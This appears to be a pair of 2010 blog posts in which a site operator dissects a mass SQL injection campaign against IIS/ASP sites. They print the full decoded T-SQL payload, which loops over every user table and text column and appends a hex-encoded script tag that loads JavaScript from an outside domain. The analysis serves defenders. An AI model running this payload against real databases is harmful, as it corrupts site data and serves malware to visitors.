Thursday, June 24, 2010

I'm continuing to see ongoing SQLi attempts using the same injection technique we saw a couple of weeks ago. As one would expect the third-party site hosting the malicious JavaScript keeps changing. Below is a list of both the source IP addresses of the attempted SQLi attack as well as the script URL they're trying to inject:

Wednesday, June 9, 2010

Over at sucuri they've blogged about the latest mass iis/asp infection. I was alerted to the first attempts against some of my sites Monday June 7 at 9:30 a.m. thanks to OSSEC. We've seen this type of masssql injection several times in the past few years so why haven't sites smartened up? Anyways, here's a quick anatomy of this specific attempt.

So they're essentially setting up the varaible '@s' and executing it. Next we decode the variable '@s':

0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%robint%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--

Now they're iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.

Thanks to shadowservers' sinkholing operation the original domain is no longer serving up malware. However, overnight I captured some new attempts trying to inject a new string. This time I was able to follow the rabbit hole and so far I've found content linked to the following domains:

There's some misinformation going around here and here stating that this mass SQL injection attack is targeting a 3rd-party module/application. From the log samples I have this IS NOT targeted at a specific 3rd-party module but rather a generic MS-SQL injection. The fact that the samples they analysed targeted utm_* parameters is just a coincidence. I have several new samples targeting a completely custom asp.net application with completely custom parameter names.